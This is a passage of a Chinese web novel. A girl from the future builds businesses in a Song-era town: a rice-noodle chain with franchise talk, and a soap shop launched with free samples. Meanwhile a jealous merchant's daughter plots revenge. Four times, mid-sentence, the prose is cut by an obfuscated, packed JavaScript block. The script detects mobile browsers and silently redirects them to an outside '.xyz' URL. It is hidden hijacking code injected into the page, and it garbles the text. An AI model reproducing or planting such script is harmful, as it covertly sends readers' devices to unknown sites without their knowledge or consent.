张二嫂同王文茵相视一笑，“你们不用担心，小娘子既然敢叫你们一起投资，自然是早有盘算。” 王文茵点头，“咱们现在的米线摊属于小本经营，有辆餐车就能四处摆摊，米线自家工坊生产，来源稳定，多的无非就是几个员工的支出，所以你们不必担心亏损问题。” 阿萍父女俩点头表示认同。 王文茵接着道：“既然咱们的米线已经在朱仙镇打响了名头，那么接下去咱们就可以租一个店面作为总店，而流动的摊位则作为分销摊，这种经营方式属于直营的模式。” “啥叫直营模式？”阿萍问道。 “直营便是所有权和经营权都归总店所有，由总店直接投资、管理和运营。这样做的好处是管理统一和规范，总店负责推出产品，直营摊位就负责分销。”【注1】 张二嫂忽然道：“我记得小娘子先前说过还有一种经营模式叫加盟店？” 王文茵点头，“是的，加盟店则是由加盟商自己出钱投资，但使用总店的品牌，并遵守品牌的规范和经营方式，这种经营模式相对更加灵活和个性，跟直营店比各有利弊吧。加盟店是完全独立的于总店的，风险和利润取决于加盟者的经营能力，投资回报率比较高，直营店的亏损和盈利则由总店负责。”【注1】 张二嫂她们几人经过这段时间的实践，对生意之道已经有了一定了解，王文茵稍微一解释她们便理解了其中的奥妙。 虽然扩大经营有一定风险，但对于创业者来说无疑是极有诱惑力的，谁做生意不想越做越大？小本买卖虽然能满足一家人的温饱，但更上一层楼就意味着可以让家人得到更好的生活。 阿萍是李家长女，也是家里的顶梁柱，李三毛打着手语告诉大女儿，不管她做什么，她爹和她娘都会在背后支持她的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007557|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是阿萍很干脆地回道：“小娘子，我听你的，我们一起投资，共负盈亏。” 王文茵很高兴听到阿萍这么说，她并不担心米线店会亏损，事实上以她掌握的秘方别说一个小小的朱仙镇，便是去了汴京城她也有办法让李记米线打开市场。她要的是阿萍的决心和韧劲，她看中的是阿萍一家吃苦耐劳、诚实可信的品质。生意之道不是偷奸耍滑，而是诚信二字。她要让阿萍、张二嫂这样的底层女性站起来，再通过她们去帮助更多像她们一样的女性。 “你有信心就好。”王文茵笑道：“今后阿萍你就是总店的掌柜了，开店的事你若是不明白可以跟婶子商量。先找一间合适的店面作为‘李记米线’的总店，再招聘培训几个勤快靠谱的伙计，这些伙计若是做得好便可接棒成为直营摊的摊主。不必操之过急，有条不紊逐步扩大经营便可。” 见王文茵居然放手把经营米线店的大权都交给了自己，阿萍受宠若惊，“小娘子，你放心，我一定不辜负你的信任，我会把李记米线做大做强，将来还要到汴京城里去开分店！” 王文茵没什么不放心的，阿萍年轻聪明肯吃苦，学什么都快，先前她跟其他人一起识字学算账，她比谁都学得快，这要是在后世，妥妥就是学霸体质。王文茵相信，假以时日阿萍定能成为独当一面的商界女强人。 米线店的事商量完后，王文茵又同赵元宁一起为香料铺子选了一个黄道吉日开张，并准备正式开张前先试营业两日。 她将开业前的准备事项全权委托给张二嫂处理，赵元宁不禁好奇：“恕我直言，你将香料铺子和米线店全权交给旁人经营管理，就不担心她们把你架空了？” “怕什么？二婶子和阿萍都不是这种人。”王文茵完全不担心。 “你怎么知道她们不是这种人？人心隔肚皮。”赵元宁虽然心里也认为张二嫂跟李阿萍都不是见利忘义的小人，但老话说得好，害人之心不可有，防人之心不可无，他觉得他有必要给王文茵提个醒。 王文茵却反问道：“若是我要防着二婶子跟阿萍，为何不连你一起提防呢？” 赵元宁愕然，有种百口莫辩的尴尬，本来是好意提醒，结果居然把自己也绕进去了。 他讪讪道：“我，我是绝对不会害你的！” 王文茵眨眨眼，“你不是说人心隔肚皮吗？我怎知你不会？” 好嘛，他算是见识了王文茵诡辩的能力，羞急交加的赵四郎惆怅道：“我若是独吞了香料铺子又去哪里找货源？这个铺子能开得起来都是因为你发明的这些合香同洗漱护肤品，没了你的支持，这铺子很快就倒闭了。” 王文茵掩嘴笑道：“既然你能这么想，那婶子跟阿萍必然也会这么想，是不是？” 赵元宁犹如醍醐灌顶，“说的是，掌握点石成金术的人是不必担心被人撬墙角的，是我想多了。只是，我还有一个疑问。” “嗯？” 47. 第四十七章 赵元宁舔舔唇，有些不好意思，“那什么，以你掌握的这些来自后世的先进技术和秘方若是想赚大钱其实不必这般辛苦，只要你愿意，你可以高价把这些技术转让出去，什么都不用做便能赚得盆满钵满。可为何我觉得你的目的并不是为了赚钱呢？” 王文茵噗呲一笑，“你也未免把我想得太高尚了，钱当然要赚，有了钱才能做更多想做的事。但若只是为了钱又很无聊，不如做一些更有趣的事，独乐乐不如众乐乐，你说是也不是？” “什么有趣的事？”赵元宁来了兴致，“可否也算我一份。” 王文茵是有点现代人的意识在身上的，她跟赵元宁之间虽然一直以礼相待，但却不受男女大防之类迂腐观念的拘束，她把赵四郎视为志同道合的好哥们，也很乐意跟他分享自己的计划。 “我想办一所技术学堂，为流离失所的人提供一个再就业机会。”王文茵道：“我朝每年因天灾人祸战争沦为流民的农户数量众多，流民吃不上饭便只能四处流窜。有的遁入城镇做些苟且之事，成为社会安全的隐患，但这些还算是轻的；更有甚者揭竿而起，攻城掠地，造反起义。 朝廷每年为了平叛就要耗费大量的钱财和人力，长此以往，必然会对国家的安定繁荣带来巨大的危机。是以，若是能为流民提供可以自食其力的就业机会，势必能减少社会动荡和不安定的因素。” 赵元宁惊了，不敢想象这样的大局观居然是从一个十岁的女娃嘴里说出来的，但一想到她是穿越过后世之人，又觉得十分合理。他突然感到很兴奋，好像潜伏在血液里的侠义情怀终于等到了开闸奔涌的时机，振奋道：“你若信得过我，便也算我一份，出钱出力都没问题！” 赵元宁身上有很多富三代官宦子弟少有的热血、侠义和单纯、善良。从他第一次在胡辣汤店为素昧平生的弱势群体仗义执言，王文茵就认定这是一个值得结交的朋友，所以她才敢把自己穿越后世的秘密告诉他。而他非但信了，还觉得这事很有趣，可见不是因循守旧之人。 本着多一个朋友就多一份助力，王文茵自然不会拒绝赵元宁加入，点头道：“你愿意加入，我自然是欢迎的，不过这事还得从长计议，眼下最要紧的是把能做的事先做好，一步步来，不着急。” “说的是，你虽比我年幼，但你做事比我更踏实，今后我便以你马首是瞻，做个马前卒我还是能胜任的。”赵四郎真心实意道。 “什么马前卒，我们是合作伙伴。”王文茵纠正他，“你并非没能力之人，看你把药铺管理得井井有条就足以说明你有独当一面的实力。” 赵元宁不好意思挠挠头，这还是他第一次听王文茵当面夸他能干，心里既高兴又害臊，窃喜道：“你真这么看好我呀？” 王文茵一本正经地拍了拍赵元宁的肩鼓励他：“你可以的，加油！” 赵元宁顿时脸上一阵臊热，两只耳朵都烧红了，心说，那我可得做出一番成绩来证明自己才行。 处理完朱仙镇上的事，王文茵就回静缘庵去了，她跟张二嫂她们约定，待试营业第一日再过来撑场。 **** 几日后，张二嫂给王文茵捎去口信，道她们一切准备就绪，翌日便可开张试营业。 香料铺子试营业这日，王文茵租了一辆驴车，带着妙善师太、静尘师太、周婆子和王小弟一同前往朱仙镇撑场子。 妙善已经有年头没进镇赶集了，一则年纪大了，腿脚不便，徒步走不了太久；二则手头拮据，赶集少不得要花钱，索性深居简出，倒也省了许多不必要的开支。 今次王文茵邀请她一同前去给新开的香料铺子捧场，她本想以身体为由拒绝，不想王文茵居然为她租了一辆驴车，还让静尘陪同在侧，她是既感激又惭愧，私下里悄悄跟静尘说：“咱们可得穿得体面些，别给王小娘子丢了脸面，但凡她还住在咱们静缘庵，咱就是她的娘家人，得给她撑足了面子，知道不？” 静尘岂有不答应的理，“师父说的是，我一早就准备好了，前阵子咱们不是新做了过冬的海青嘛，师父就穿这身新的海青去，保管丢不了面子。” 妙善鼻子一酸，轻轻拍了拍爱徒的手，“师父没本事，这些年苦了你们了，让你们穿的都是打了补丁的破衣裳……” 静尘一把握住妙善橘皮一样皱巴巴干枯的双手，鼻子酸涩，柔声道：“师父可别这么说，当年若不是师父救了我，我早就被拍花子发卖去了窑子做暗娼，哪还有今日。” 静缘庵里的尼姑也都是苦命人，就说妙善自己吧，早年间走投无路出家当了姑子，不想那尼姑庵表面上是佛门圣地，暗地里却将小尼姑出租给人生子。尼姑庵的住持本就是老鸨出身，改头换面将风月场包装成尼姑庵骗来一些无家可归的小娘子做皮肉生意。 妙善在那尼姑庵里待了两年，吃尽了苦头，若不是老鸨突然暴毙，她趁乱跑了，这辈子恐怕就折在里头了。逃出汴京城后，她辗转来到静缘庵，当时的静缘庵只有两间破草房和一个老尼姑。老尼姑见她可怜便将她收为弟子，师徒俩相依为命，直到老尼姑圆寂，妙善这才接棒做了住持。 妙善也是个有本事的人，师父离开后她独自一人将静缘庵支棱起来，游说官府将静缘庵转型成为福田院，还收了几个弟子，静尘便是在那会儿从拍花子那儿赎回来的。 “真是一晃眼的事，那会儿你比现在的王小娘子大不了几岁，大冬天的赤着一双脚，冻得浑身发紫，我就知道你是被拐来的。”妙善怜惜道。 静尘眼圈一红，“抓我的那个拍花子见我不肯就范便用藤条狠狠抽我，我知道若是不逃跑，就是有命活，也会很凄惨。我见过那些被卖入窑子的暗娼，人不人，鬼不鬼，所以我憋着一口气死也要逃跑，结果还没跑远就被抓了回去。还以为那次会被他们打死，好在我命大遇见了师父。” “都过去了，这些年日子虽然清苦，倒也安稳。”妙善抹去眼角的泪花，笑着道：“从今往后静缘庵就由你接班，跟着王小娘子好好干，必然不会差，我也可以放心去了。” 静尘一把握住妙善的手，哭道：“师父你还好着呢，可别咒自己。” 妙善露出一丝疲惫的笑容，“我自己的身体自己知道，时日不多了，人总归是要死的，看到你们都好好的，我也没什么遗憾了。” 静尘的眼泪不受控掉下来，“师父……” “嗐，哭什么？老大不小的人了，咱们是出家人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015635|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生死要看开，明白吗？”妙善拿出一块洗得泛白的旧帕子给静尘，“快把眼泪擦干，免得待会儿眼泡红肿，不吉利。咱们不能给王小娘子找晦气，她这香料铺子今后就是咱们庵的衣食父母，得好生伺候知道吗？” “师父说的是，是我犯蠢了。”静尘赶紧把眼泪抹干，虽然是出家人，多少还是有点迷信，生怕自己真的给香料工坊找了晦气。 妙善一张老脸笑成了一朵皱皮花，“今儿咱们就喜气洋洋的去给王小娘子撑场子！” **** 妙善和静尘都换上了全新的海青冬服，坐着王文茵雇来的驴车，一行人开开心心地前往朱仙镇。 已经多年没出过远门的妙善心情激动又忐忑，时不时捋一捋身上的衣帽，生怕被镇上的人瞧出什么不妥帖，丢了她们静缘庵的脸面。结果发现一路上似乎都没见着什么人，妙善不禁好奇：“多年没来，想不到朱仙镇竟已衰落至此？” “不应该呀，前几日不还挺热闹的，今儿是出什么事了吧？”王小郎君疑惑道。 王文茵心里也纳闷，不知道究竟发生了什么事。 此时，迎面走来一群人，个个手里捧着不知是什么宝贝，人人脸上喜不自禁，嘴里叽叽喳喳议论个不停。 静尘便上前打听，一问之下才得知原来是镇上今日新开的香料铺子“兴隆堂”试营业，搞活动赠送香皂呢。镇上的男女老幼全跑去看热闹，抢赠品去了。 好家伙，整半天原来搞事的人竟然是自己，王文茵一头黑线。 **** 香料铺子门口乌泱泱围满了人，有很多排队等着领香皂的，但更多的是过来看热闹的。 张二嫂站在店铺门前，嘶哑着嗓子卖力吆喝：“各位父老乡亲，走过路过都别错过，这是本店推出的招牌产品，名为“香皂”。“香皂”大家都没听过对吧？澡豆大家应该不会陌生，对，就是沐浴洁净用的澡豆。咱们家的香皂是比澡豆更好使的清洁用品，不信大家可以过来试试，不要钱！” 在张二嫂的鼓励下，有胆大的娘子上前来询问：“真的不要钱？” “不要！”张二嫂笑眯眯地给予了回应。 于是，便有第一个吃螃蟹的大娘子上前将手放进水盆里打湿，在店员的指导下用香皂搓洗双手，不一会儿就搓出了细密的泡沫，围观群众发出一阵惊叹。待这位大娘子洗完手擦干，放到鼻子边嗅了嗅，一阵清香萦绕鼻端，惊叹道：“哇，真的好香！洗完的手好舒服，好干净，好滋润！” 围观的娘子们蠢蠢欲动，“真有这么好使吗？” 大娘子眨眨眼，“不信你们自己试试呗。” 这谁能拒绝得了，反正不要钱，试试就试试呗。 一群娘子呼啦啦围了上来，嘴里嚷着：“给我试试”，“我先来的，我先试”，“哎呀，你踩到我的脚了”…… 张二嫂将一只竹编的喇叭筒子放到嘴边大喊道：“大家都别急，都有机会！今日是我们兴隆堂第一日试营业，凡是加入我们兴隆堂充值会员的人，不仅免费获赠一块香皂，还能领到折扣劵！充值越高，折扣力度越大！没加入会员的人也能获得一小块免费的试用装香皂！大家先试用，用得好再来买！” 48. 第四十八章 王文茵奋力挤进人群看到的是这样一幅画面，张二嫂带着店员们站成一排，将大小娘子们一一引入店铺内办理充值会员，引导购物。而门口另一侧则是赵太医家药铺的伙计们在给免费领取试用装香皂的围观群众逐一分发赠品。 由于申请领取赠品的人实在太多，这大冬天的赵元宁居然满头大汗在努力维护排队人群的秩序。 王文茵上前一把揪住赵元宁，问：“什么情况，怎么这么多人？” 赵元宁抹了一把脸，苦笑，“还不都是你的功劳，免费赠送，谁会不想要呢？我发现有好些人领完赠品又去排队重新领，只能逐一将他们请出去。” 王文茵嘿嘿笑，“免费嘛，谁能抗拒得了，没事，这点赠品咱们负担得起！关键你看今日有多少人来捧场，咱们仅仅只用了一小块香皂就打响了知名度，物超所值！物超所值！” 赵元宁一想也是，朱仙镇不大，人口说多不多，说少不少，但朱仙镇有个其他地方没有的优势，就是流动人口多。这里作为汴京城的中转站来往的商旅十分频繁，通过这些商旅口耳相传，兴隆堂的知名度便不胫而走。有了知名度还怕没生意吗？ “说的是呢。”赵元宁见妙善和静尘也来了，赶紧上前打招呼，并将她们请到隔壁药铺去喝茶。 王文茵一行人跟着赵元宁进药铺的时候，樊楼范家的范小娘子恰好从香料铺子里出来，她身边的女婢一眼就认出了王文茵，扯了扯她的袖子在她耳边嘀咕了一句。 范小娘子眯起眼仔细辨认，终于认出同赵四郎说笑的那位小娘子便是上次令她在胡辣汤店丢脸的人，气不打一处来，叫婢女去打听一下她的来路。 婢女阴笑一声，道：“小娘子放心，这次必定不会让这个小贱人跑了！” **** 不到半日，赠送的试用装香皂已经派完，尚有不少人没领到，这些人挤挤挨挨不肯离去，更有甚者提出了过分的要求。 “咱们都还没领到香皂，怎么说没就没了呢？” “说了好免费赠送，才送了这么几块，忒小气了吧！” “再送点！再送点！” …… 这吵嚷声实在有点难听，赵元宁不得不出来安抚：“各位父老乡亲，今日是本兴隆堂第一日营业，准备不足，还请大家见谅。若是有人尚未领到赠品，那便请明日再来，明日还有机会。” 此话一出，吵嚷声顿时安静下来，不过依然有人不相信，追问道：“掌柜的，此话可当真？” 赵元宁豪气道：“大家应该知道我赵某人是谁吧？” “知道，赵太医丞家的少东家。” “这间兴隆堂便是我家的产业，我既答应过大家便不会食言。但是，”赵元宁话锋一转：“今日已经领取过赠品的人明日便不能再领取，诚信是相互的，大家说是也不是？” 适才起哄闹事的几人瞬间偃旗息鼓，他们先前领过赠品后又偷偷排队想再蒙混多要一份，结果却被赵元宁的火眼金睛识破诡计，将他们请了出去，叫这几人颜面尽失。心有不甘的这几人便藏匿在人群中借故发难，试图令赵元宁难堪，却不想被赵元宁反将一军，恼羞成怒啐了一口转身离去。 赵元宁虽则年轻，却不是未经世事的懵懂少年，他能将一家药铺做到朱仙镇家喻户晓，自然是有点生意头脑的。他既能跟南来北往的客商打交道，又能在官府衙门里混得如鱼得水，这样的人绝不可能只是表面上看起来那般纯良无害。 王文茵促狭笑笑，给赵元宁鼓掌，“说得好！” 不习惯被人当面夸赞的赵元宁闹了个大脸红，拱手尬笑，“承让，承让。” 这小半日就送出去那么多块香皂，妙善见了可肉疼了，毕竟做一块香皂得至少一个月呢，忍不住开口道：“若是每日都送这么多块香皂出去，那咱们的存货还够用吗？” 静尘最了解妙善的心思，掩嘴笑了笑，道：“师父不用担心，小娘子和小郎君心里有数呢，咱们的香皂存货够用的。现下送出去的都只是切成小块的试用装，镇民用得好自然会来回购。” 妙善却不信，摇头道：“你们都还太年轻，白拿的东西自然受欢迎，但要他们出钱购买，怕是没那么容易。世上从来不缺白食吃多了还嫌淡的贪婪之人。” 赵元宁自信道：“师太多虑了，今日送出去这些香皂便是用来打广告的。即便有些人只想免费拿赠品，但只要他们拿回去试用了，咱们这香皂的名气也就打响了。今后一传十，十传百，从朱仙镇再传到汴京城，就怕到时候一皂难求呢！” “打广告？”妙善仔细回味这新奇的名词儿，点头：“确实是个好法子。可若是有心之人拿着咱们的香皂去模仿，岂不是会影响咱们的销量？” 王文茵摆手，“不怕，虽说制皂并不是什么高难度的技术，但这秘方一时半会儿很难有人能模仿得出来。” 妙善一想有道理，暗松一口气，制香皂可是她的徒弟们今后赖以生存的技术手段，这要是人人都会制皂，她们岂不是要喝西北风。 “我倒是希望有更多的人能跟风模仿做香皂。”王文茵却道。 妙善吓了一跳，“这又是为何？” “澡豆对大部分平民来说是奢侈品，很多人用不起澡豆便只能用水简单清洗，但清水无法祛除身上的油脂和污垢。污垢容易滋生细菌，严重的还会致人生病。香皂可以作为澡豆的平替，成为能让更多底层的人用得起的清洁用品，这便是我做香皂的初衷。” 王文茵道：“跟风仿制香皂的商家越多，香皂的价格自然就会降低，如此便能让香皂走入千家万户，成为普通百姓家中寻常的清洁用品。如此一来，才能让更多人注重个人卫生，减少细菌病毒的传播，从而降低疫病感染的风险。” 妙善老脸一阵臊红，讪讪道：“小娘子言之有理，是我格局小了。” 王文茵却笑了笑，道：“师太的顾虑我明白，香皂是静缘庵未来主要的支柱产业，是大家赖以生存的根基，在商言商，做生意毕竟不是做慈善。不过师太大可放心，即便咱们的香皂被人模仿去了，也不会被超越，因为我们可以不断推出新产品来吸引客户。是以，师太不必太焦虑，我心里有数的。” “小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020370|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子这么说我就放心了。”妙善殷殷望着王文茵和赵元宁，“小娘子和小郎君是咱们静缘庵的恩人，今后还请二位多多照顾我那几个徒儿，她们都是苦命人，是我这个师父没本事让她们过上好日子……” 妙善说着说着眼圈就红了。 “师父——”静尘眼睛一酸，“好好的说这些做什么，没有师父哪有我们今日。” 妙善赶紧打住，谦卑地笑着道：“是我糊涂了，这大喜的日子，小娘子跟小郎君别介意，我是高兴呢，香料铺子第一日营业生意就这么好，我这是高兴傻了。” 王文茵同赵元宁笑了笑揭过。 喝完茶几人又去隔壁香料铺子里转了转，今日客人实在太多，张二嫂都顾不上招呼她们，王文茵不打算给张二嫂添乱，便同妙善她们提前回去了。 这一日，香料铺子从早到晚客人络绎不绝，店外又围满了好奇的娘子们，仿佛全镇的娘子都跑来看热闹了。这家新开的香料铺子和店内提供的美容护肤服务都让大家感到新奇又羡慕，试问有哪个女人能抗拒得了变美这件事呢？ “自古女子和孩子的钱最好赚。”王文茵直言不讳：“看来香料铺子这单生意算是稳了。” 静尘喜道：“依小娘子看，咱们是否应该提高香皂产量？” “不着急，等二婶子那边把今日的营业额算出来再安排。”王文茵道。 隔日，赵元宁便亲自带来了好消息。 第一日试营业的充值会员竟然多达一百多位！除了香皂，店内其他的香膏、香饼、香油、洗发水、洗面乳、沐浴露也十分畅销。这一日下来，库存居然去了四分之一。 赵元宁兴奋道：“看来咱们有必要把产量再提高几倍了。” 王文茵却不以为然，“昨日销量高主要是因为客人觉得新鲜，咱们的产品跟市面上其他家的不一样。以目前香料工坊的人手，若是强行将产能提高几倍，恐怕既不能保证产品质量，还会加重员工的劳动量，令他们疲劳不堪。” “小娘子不用担心，我们吃得了苦。”静尘忙道。 王文茵却皱眉表示不赞同，“香料工坊不是血汗工厂，我们主打的是品质，不是数量。” “小娘子言之有理。”赵元宁反而劝静尘：“想做精品就不能跑量，产量大了，品质往往很难把控，况且我也不想成为剥削员工的老板。” 王文茵点头，“其实饥饿营销反而能提高咱们产品的声誉。” “何谓饥饿营销？” “就是断货。”王文茵解释道：“一款热卖的产品突然断货必然会让更多的人对它产生期待，此时我们便可将商品生产的难度和周期告知客户。天下商人皆逐利，但若是有商家为了追求商品品质宁可令其主打产品断档，也不愿粗制滥造，那么顾客便会对产品的品质更加深信不疑。” “妙啊——”赵元宁鼓掌：“小娘子你简直是营销鬼才！” 王文茵心里暗乐，这些都是后世商家惯用的伎俩，自己不过是提前预支了他们的营销手段而已。 “那接下去咱们该怎么做呢？”赵元宁问道。 49. 第四十九章 “按部就班。”王文茵气定神闲道：“除了研发新品，可以再培训一批新员工，以备后需。” 静尘犯愁道：“可眼下咱们庵里能用的人都用了，若是招新员工，势必要从外头找人，可这样一来香皂的配方就很容易泄露出去。” 王文茵淡然一笑，“秘方泄露是早晚的事，只不过在咱们的香料工坊还没做大之前，势必要采取一些措施防止泄密。” “我倒是有个办法可以防止员工泄露秘方。”赵元宁道。 “说来听听。”王文茵感兴趣道。 赵元宁嘿嘿笑道：“其实这个办法是跟小娘子你学的。” 王文茵挑起一边眉毛，脸上写着一个大大的“？”。 赵元宁道：“假若每个员工都能从香料工坊的收益里分红，那他们就是香料工坊的小股东，香料工坊的利润有他们一份，他们便不会轻易泄露配方，你们说是也不是？” 不得不说，赵元宁的想法是超越这个时代的，这便是将工坊的员工都变成自己的股东，股东利益跟工坊利益紧密捆绑。虽然不排除员工放弃股份后再用学来的技术去创业，但这毕竟不是现代，没有天使投资人，也没有银行贷款可以提供，创业必须有一定的积蓄才有可能。 王文茵笑道：“想到一块儿去了，用分红来团结员工的确是一个好办法。不过我们还需要跟所有员工签署一份保密契约，这份契约是必须到官府那儿备案的，若是有人背弃契约，那么只能交由官府来处罚。” 赵元宁点头：“就这么办！” **** 范小娘子对着铜镜在化三白妆【注1】，这是时下流行的妆容，须在额头、下巴和鼻梁用粉涂白，如此便能凸显面部的立体感。不过她今日心情不畅，画愁眉的手运笔不稳，愁眉化成了丑眉，心头火起，将眉笔折成两段甩了出去。 屋内几个婢女面面相觑，纷纷噤声屏气垂下了头。自家小娘子这几日因着老爷给二房姨娘添置房产的事心里不痛快，谁也不敢招惹她，生怕被当成泄愤的出气筒，挨一顿竹笋炒肉。 “小娘子——”闺房门口突然传来一阵踢踢踏踏的脚步声。 范小娘子皱起眉头，两条丑眉像纠缠在脸上的蚯蚓，显得十分滑稽。 婢女们拼命忍笑，使劲掐自己的大腿。 “喊什么？哭丧啊！”范小娘子冲门口进来的婢女翠花叱道。 别的婢女都怕小娘子，唯独翠花不怕。她是范小娘子奶娘的女儿，从小跟在范小娘子身边长大，是家生子，又是心腹，哪怕做错事被责骂几句也不会挨打，更何况她是来邀功的。 “小娘子消消气，奴婢有好消息告诉你。”翠花讨好道。 “有话就说。”范小娘子一脸不耐，乒乒乓乓摔着梳妆台上的首饰。 翠花抿抿嘴，“奴婢已经打听清楚了，那个乡下野丫头姓王，是个寄居在静缘庵内无家可归的孤女。” “孤女？”范小娘子一愕，不敢置信：“你确定她只是一个孤女？” 翠花狠狠点头，“确定！那静缘庵虽是尼姑庵，平日里也兼做福田院，里头收留的都是些老弱病残，无家可归的流民，那王姓野丫头八成就是流民。” 范小娘子心头的郁结之气顿时少了一半，咬牙道：“区区一个流民居然敢当众对着我大放厥词？简直岂有此理！” 范小娘子噌一声站起来就要往门外走。 翠花见势不对，赶紧上前拦下范小娘子，“小娘子这是要去哪儿？” “我去教训教训她！”范小娘子冷哼：“动不了赵家四郎，难道我还动不了一个流民？” 翠花赶紧劝道：“小娘子切莫冲动，听说那王姓野丫头深得文老夫人喜爱，小娘子若是出面教训她，文老夫人那儿怕是不好交代。” “文老夫人？哪个文老夫人？”范小娘子极度不耐烦，牙齿咬得嘴唇都发白了。 翠花小心翼翼道：“便是当朝宰执文宽夫文老相公的夫人呀。” 范小娘子瞠目，“王姓野丫头怎么可能认识当朝宰执的夫人？！” “嗐，要不怎么说这丫头厉害呢。”翠花咕哝道：“文家的山庄便是坐落在静缘庵山脚下的丰收村内，听闻文老夫人近日身体不适，来山庄这边休养生息。那丫头得知此事后也不知用了什么狐媚法子，自荐去给文老夫人送米线。文老夫人吃了她做的米线很是喜欢，还给了她不少赏银呢，搞得文家的几个厨娘很是不爽。” 范小娘子眼珠子转了转，想起什么似的道：“你所说的米线可是跟镇上那家李记米线是一样的东西？” 翠花一脸谄媚，夸道：“小娘子真正七窍玲珑心，那李记米线便是出自静缘庵的米线作坊，跟王姓丫头是一家。” 范小娘子拧眉，“怎么又是静缘庵，这静缘庵到底是何方神圣？” 翠花哼笑，“不怪小娘子疑惑，我打听下来也觉得甚是奇怪，这静缘庵非但做米线买卖，竟然还是赵太医家新开的香料铺子兴隆堂的合伙人。” “你说什么？！”范小娘子惊得跳了起来，声色俱厉尖叫：“兴隆堂是静缘庵同赵太医家合伙开的？” 翠花被吓了一跳，讷讷道：“……是，是的呢。” 范小娘子咬着帕子在屋内团团转，整个人烦躁得快要爆炸了。 翠花见此情景也不敢再多言，跟其他婢女一样噤声屏息立在一旁等范小娘子消气。 在屋内来回踱步走了几圈后，范小娘子终于冷静下来，用手指点了点翠花，“你再给我说清楚点，赵太医家为何会同静缘庵这等不入流的尼姑庵合伙开香料铺子？” “听说便是那王姓野丫头搭的线。”翠花恨恨道：“小娘子可还记得上回那野丫头在陈记胡辣汤店内冲撞了你，替她出头之人便是赵四郎。” 范小娘子的后槽牙磨得咯咯响，她自然记得令她当众丢脸的赵四郎，若不是看在赵太医家跟皇族有千丝万缕的关系，她早就想让人去把赵家药铺给砸了。 翠花察言观色，舔了舔唇道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025275|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“听闻那王姓野丫头善使狐媚子术，哄得赵家四郎团团转，叫他出钱出力在静缘庵办了个香料工坊，专门用于生产制作香皂之类的洗漱护肤用品，就连兴隆堂这间香料铺子也是赵家出银子开的。” 范小娘子越听越不对劲，“你是说镇上的香料铺子和静缘庵的香料工坊都是赵家出的银子？” “应该……是吧？”翠花揣测道：“那尼姑庵又穷又破，哪来那么多银子做香料买卖？” 范小娘子毕竟是商贾之家出身，很快就察觉到其中的破绽，摇头道：“不对，赵家虽然有钱，但绝不会无缘无故出那么多银子跟尼姑庵合伙做这么贵重的香料买卖，这里头一定有蹊跷。” 翠花也说不出个所以然来，撇嘴道：“定是那王姓野丫头使了见不得人的狐媚子手段。” 范小娘子冷哼：“就凭那丫头的姿色？你真是高看她了！” 范小娘子虽然嘴上不认账，可心里却不得不承认王文茵的样貌气度即便是跟汴京城内的名门闺秀比，也是不逞多让的。她那与生俱来的大家风范正是她最羡慕也最欠缺的，也因此令她生出些微妙的自卑与形秽来，仿佛站在王文茵面前她就低了一头似的，想到这更是让她含恨咬牙。 翠花最懂范小娘子的心思，拍马道：“是奴婢说错话了，王姓野丫头生性粗鄙，貌丑如无盐，不像小娘子你……啊呸，我的意思是她怎配跟小娘子你相提并论。” 范小娘子又好气又好笑，明知奴婢是在奉承自己，可谁又不喜欢听奉承话呢，啐笑道：“行了，别拍马屁了，你呀还是再给我去打听清楚，赵太医家究竟是出于什么原由跟静缘庵合伙做香料买卖的？” “哎，奴婢马上就去！”翠花嘴上说马上，身子却立着不动。 范小娘子自然知道她在等什么，从香囊里拿出一块银锭扔给她，“办好差事回头还有赏！” 翠花揣着银锭，笑逐颜开，点头哈腰道：“小娘子放心，我必定给你打听得一清二楚！” ***** 两日后，翠花带着打探到的新消息来向范小娘子邀功。 “小娘子，奴婢这回可算打听清楚了。”翠花得意洋洋道。 